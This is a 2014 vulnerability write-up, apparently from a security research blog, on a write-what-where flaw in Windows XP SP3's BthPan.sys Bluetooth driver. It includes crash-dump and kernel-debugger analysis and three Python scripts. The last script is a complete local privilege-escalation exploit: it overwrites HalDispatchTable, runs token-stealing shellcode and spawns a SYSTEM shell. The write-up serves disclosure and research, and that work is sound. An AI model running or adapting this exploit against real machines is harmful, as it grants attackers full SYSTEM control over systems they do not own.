Vuln Analysis: Classic write-what-where in XP's BthPan | 2014-10-07 18:00 |
Recently, we came across the BthPan.sys driver while researching Microsoft's Bluetooth implementation within 32-bit Windows XP (SP3), and after conducting a number of fuzzing tests, we discovered that this driver has a vulnerability known as a write-what-where condition. It should be noted that the BthPan.sys driver is not enabled or even installed by default. Thus, the attack described below will only function if the end user or operating system administrator has installed the driver, such as via 'Add/Remove Programs' within the Control Panel, or installing some hardware driver that implicitly enables it.
Once installed, the BthPan.sys driver is loaded into the kernel the next time a Bluetooth device is inserted in the target computer. After that, a process (svchost) is spawned to support Bluetooth operations. By monitoring the IOCTL calls made by this process as a result of various fuzzing runs, we were able to derive portions of the available attack surface within the driver, and that's what led to the discovery of the write-what-where condition.
Example Python code that triggers this vulnerability can be found below. The important piece of information within this code is not the \x90 but rather the OutputAddress (0xffff0000) used within the DeviceIoControlFile function call. Since no memory had been previously allocated at this address, the kernel will throw an error as soon as any attempt is made to write to it.
from ctypes import * CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory = windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory DeviceIoControlFile = windll.ntdll.ZwDeviceIoControlFile handle = CreateFileA("\\\\.\\BthPan",0x1|0x2,0,None,0x3,0,None) NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0x500)),0x1000|0x2000,0x40) WriteProcessMemory(-1, 0x1, "\x90"*0x400, 0x400, byref(c_int(0))) DeviceIoControlFile(handle,0,0,0,byref(c_ulong(8)),0x0012d814,0x1,0x258,0xffff0000,0)A complete memory dump from the target computer during the blue screen of death was taken. By analyzing the context of the crash, we could see the OuputAddress (0xffff0000) had a write attempt that failed.
PAGE_FAULT_IN_NONPAGED_AREA (50) Invalid system memory was referenced. This cannot be protected by try-except, it must be protected by a Probe. Typically the address is just plain bad or it is pointing at freed memory. Arguments: Arg1: ffff0000, memory referenced. Arg2: 00000001, value 0 = read operation, 1 = write operation. Arg3: 804f3b76, If non-zero, the instruction address which referenced the bad memory address. Arg4: 00000000, (reserved)The CPU registers from the TRAP_FRAME at the time of the crash show a MOVS instruction with the EDI register set to the value that we provided to the DeviceIoControlFile() function.
TRAP_FRAME: b1bc47b0 -- (.trap 0xffffffffb1bc47b0) ErrCode = 00000002 eax=0000006a ebx=81e05688 ecx=0000001a edx=00000001 esi=8206d538 edi=ffff0000 eip=804f3b76 esp=b1bc4824 ebp=b1bc4868 iopl=0 nv up ei pl nz na po cy cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010203 nt!IopCompleteRequest+0x92: 804f3b76 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]For more details, we've included the stack trace below:
STACK_TEXT: b1bc4738 8051cc7f 00000050 ffff0000 00000001 nt!KeBugCheckEx+0x1b b1bc4798 805405d4 00000001 ffff0000 00000000 nt!MmAccessFault+0x8e7 b1bc4798 804f3b76 00000001 ffff0000 00000000 nt!KiTrap0E+0xcc b1bc4868 804fdaf1 81e056c8 b1bc48b4 b1bc48a8 nt!IopCompleteRequest+0x92 b1bc48b8 80541890 00000000 00000000 00000000 nt!KiDeliverApc+0xb3 b1bc48d8 804fb4a7 8055b1c0 81e70da8 b1bc48fc nt!KiUnlockDispatcherDatabase+0xa8 b1bc48e8 80534b09 8055b1c0 81defa70 8238ffe8 nt!KeInsertQueue+0x25 b1bc48fc f83e26ec 81defa70 00000000 b1bc4928 nt!ExQueueWorkItem+0x1b b1bc490c b2a465a1 81defa68 00000000 8206d538 NDIS!NdisScheduleWorkItem+0x21 b1bc4928 b2a55544 b1bc4948 b2a5530e 81e05688 bthpan!BthpanReqAdd+0x16b b1bc4b68 b2a5562b 81e05688 00000258 8242fbc8 bthpan!IoctlDispatchDeviceControl+0x1a8 b1bc4b80 f83e94bb 8242fbc8 81e05688 824ff190 bthpan!IoctlDispatchMajor+0x93 b1bc4b98 f83e9949 8242fbc8 81e05688 824b6c08 NDIS!ndisDummyIrpHandler+0x48 b1bc4c34 804ee129 8242fbc8 81e05688 806d32d0 NDIS!ndisDeviceControlIrpHandler+0x5c b1bc4c44 80574e56 81e056f8 824ff190 81e05688 nt!IopfCallDriver+0x31 b1bc4c58 80575d11 8242fbc8 81e05688 824ff190 nt!IopSynchronousServiceTail+0x70 b1bc4d00 8056e57c 00000678 00000000 00000000 nt!IopXxxControlFile+0x5e7 b1bc4d34 8053d6d8 00000678 00000000 00000000 nt!NtDeviceIoControlFile+0x2a b1bc4d34 7c90e514 00000678 00000000 00000000 nt!KiFastCallEntry+0xf8 0021f704 7c90d28a 1d1add7a 00000678 00000000 ntdll!KiFastSystemCallRet 0021f708 1d1add7a 00000678 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc WARNING: Stack unwind information not available. Following frames may be wrong. 0021f73c 1d1aca96 1d1ac910 0021f75c 00000028 _ctypes!DllCanUnloadNow+0x5b4a 0021f76c 1d1a8db8 7c90d27e 0021f8a0 b50f9e3f _ctypes!DllCanUnloadNow+0x4866 0021f81c 1d1a959e 00001100 7c90d27e 0021f870 _ctypes!DllCanUnloadNow+0xb88 0021f984 1d1a54d8 7c90d27e 00b51978 00000000 _ctypes!DllCanUnloadNow+0x136e 0021f9dc 1e07bcec 00000000 00b51978 00000000 _ctypes+0x54d8 00000000 90909000 90909090 90909090 90909090 python27!PyObject_Call+0x4c 00000000 00000000 90909090 90909090 90909090 0x90909000By changing the TRAP_FRAME to that of the DeviceIoControlFile() function, we can pull the parameters passed to the function off of the stack.
11 b29dbd34 8053d6d8 nt!NtDeviceIoControlFile+0x2a eax=0000006a ebx=82500928 ecx=0000001a edx=00000001 esi=81d485c8 edi=ffff0000 eip=8056e57c esp=b29dbd08 ebp=b29dbd34 iopl=0 nv up ei pl nz na po cy cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010203 nt!NtDeviceIoControlFile+0x2a: 8056e57c 5d pop ebp kd> db [ebp+2C] L?0x4 b29dbd60 00 00 00 00 .... kd> db [ebp+28] L?0x4 b29dbd5c 00 00 ff ff .... kd> db [ebp+24] L?0x4 b29dbd58 58 02 00 00 X... kd> db [ebp+20] L?0x4 b29dbd54 01 00 00 00 .... kd> db [ebp+1C] L?0x4 b29dbd50 14 d8 12 00 ....The values shown above translate to:
NtDeviceIoControlFile(hValue, 0, 0, 0, 0x0012d814, 0x1, 0x258, 0xffff0000, 0x0);
By changing a few lines in the example code (see diff below), we can show that it is possible to overwrite kernel memory by abusing this IOCTL.
Output from a Local Kernel Debugger attached to the target computer:
Windows XP Kernel Version 2600 (Service Pack 3) UP Free x86 compatible Product: WinNt, suite: TerminalServer SingleUserTS Built by: 2600.xpsp_sp3_qfe.101209-1646 Machine Name: Kernel base = 0x804d7000 PsLoadedModuleList = 0x805540c0 Debug session time: Fri Aug 15 11:10:02.521 2014 (UTC - 7:00) System Uptime: 0 days 0:46:37.640 kd> db 0x8054593c L?0x4 8054593c cc cc cc cc
The DWORD at 0x8054593c is the memory address for the first entry within the HalDispatchTable. This entry corresponds to the ntdll!NtQueryIntervalProfile() function found below, which issues a CALL instruction on the pointer found within the EDX CPU register.
ntdll!ZwQueryIntervalProfile: 7c90d83e b89e000000 mov eax,9Eh 7c90d843 ba0003fe7f mov edx,offset SharedUserData!SystemCallStub (7ffe0300) 7c90d848 ff12 call dword ptr [edx] 7c90d84a c20800 ret 8 7c90d84d 90 nop
The following code will allow the CPU EIP register to become attacker-controlled:
from ctypes import * from struct import pack from os import getpid,system from sys import exit EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA GetProcAddress,DeviceIoControlFile,NtQueryIntervalProfile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.ntdll.NtQueryIntervalProfile,windll.kernel32.CloseHandle INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0 # thanks to offsec for the concept # I re-wrote the code as to not fully insult them :) def getBase(name=None): retArray = c_ulong*1024 ImageBase = retArray() callback = c_int(1024) cbNeeded = c_long() EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded)) for base in ImageBase: driverName = c_char_p("\x00"*1024) GetDeviceDriverBaseNameA(base,driverName,48) if (name): if (driverName.value.lower() == name): return base else: return (base,driverName.value) return None handle = CreateFileA("\\\\.\\BthPan",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None) NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40) buf = "\xcc\xcc\xcc\xcc"+"\x90"*(0x400-0x4) WriteProcessMemory(-1, 0x1, "\x90"*0x6000, 0x6000, byref(c_int(0))) WriteProcessMemory(-1, 0x1, buf, 0x400, byref(c_int(0))) kBase,kVer = getBase() hKernel = LoadLibraryExA(kVer,0,1) HalDispatchTable = GetProcAddress(hKernel,"HalDispatchTable") HalDispatchTable -= hKernel HalDispatchTable += kBase HalDispatchTable += 0x4 DeviceIoControlFile(handle,NULL,NULL,NULL,byref(c_ulong(8)),0x0012d814,0x1,0x258,HalDispatchTable,0) CloseHandle(handle) NtQueryIntervalProfile(c_ulong(2),byref(c_ulong()))
When reviewing the memory dump generated from the code shown above, the debugger will display EIP control.
TRAP_FRAME: b1b0cc8c -- (.trap 0xffffffffb1b0cc8c) ErrCode = 00000010 eax=b1b0cd14 ebx=8060ea01 ecx=00000000 edx=0021f7f0 esi=00cf3058 edi=b1b0cd64 eip=cccccccc esp=b1b0cd00 ebp=b1b0cd20 iopl=0 nv up ei pl nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202 cccccccc ?? ???
By adding shellcode designed to steal the Token from the SYSTEM process (PID=4) and replace the Token of the exploit process, an attacker can elevate his/her privilege level.
# Microsoft BthPan.sys Privilege Escalation # Write-What-Where # XP SP3 # # Matt Bergin (KoreLogic / Smash the Stack) # from ctypes import * from struct import pack from os import getpid,system from sys import exit EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA GetProcAddress,DeviceIoControlFile,NtQueryIntervalProfile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.ntdll.NtQueryIntervalProfile,windll.kernel32.CloseHandle INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0 # thanks to offsec for the concept # I re-wrote the code as to not fully insult them :) def getBase(name=None): retArray = c_ulong*1024 ImageBase = retArray() callback = c_int(1024) cbNeeded = c_long() EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded)) for base in ImageBase: driverName = c_char_p("\x00"*1024) GetDeviceDriverBaseNameA(base,driverName,48) if (name): if (driverName.value.lower() == name): return base else: return (base,driverName.value) return None handle = CreateFileA("\\\\.\\BthPan",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None) print "[+] Handle \\\\.\\BthPan @ %s" % (handle) tokenSwap = "\x60\x64\xA1\x24\x01\x00\x00\x8B\x40\x44\x50\xBB\x04\x00\x00\x00\x8B\x80\x88\x00\x00\x00\x2D\x88\x00\x00\x00\x39\x98\x84\x00\x00\x00\x75\xED\x8B\xB8\xC8\x00\x00\x00\x83\xE7\xF8\x58\xBB\x41\x41\x41\x41\x8B\x80\x88\x00\x00\x00\x2D\x88\x00\x00\x00\x39\x98\x84\x00\x00\x00\x75\xED\x89\xB8\xC8\x00\x00\x00\x61\xC3" tokenSwap = tokenSwap.replace("\x41\x41\x41\x41",pack('<L',getpid())) NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40) buf = "\x50\x00\x00\x00"+"\x90"*0x400 WriteProcessMemory(-1, 0x1, "\x90"*0x6000, 0x6000, byref(c_int(0))) WriteProcessMemory(-1, 0x1, buf, 0x400, byref(c_int(0))) WriteProcessMemory(-1, 0x5000, tokenSwap, len(tokenSwap), byref(c_int(0))) #Overwrite Pointer kBase,kVer = getBase() hKernel = LoadLibraryExA(kVer,0,1) HalDispatchTable = GetProcAddress(hKernel,"HalDispatchTable") HalDispatchTable -= hKernel HalDispatchTable += kBase HalDispatchTable += 0x4 print "[+] Kernel @ %s, HalDispatchTable @ %s" % (hex(kBase),hex(HalDispatchTable)) DeviceIoControlFile(handle,NULL,NULL,NULL,byref(c_ulong(8)),0x0012d814,0x1,0x258,HalDispatchTable,0) print "[+] HalDispatchTable+0x4 overwritten" CloseHandle(handle) #Trigger Shellcode print "[+] Triggering shellcode" NtQueryIntervalProfile(c_ulong(2),byref(c_ulong())) #Start Shell print "[!] Starting SYSTEM shell" system("c:\\windows\\system32\\cmd.exe") exit(0)
Finally ... a shell with SYSTEM privilege has been obtained!
After vendor notification, we published an advisory about this vulnerability, and developed a Metasploit module based on the above PoC.
0 comments | Posted by Matt at: 18:00 permalink |
Comments are closed for this story.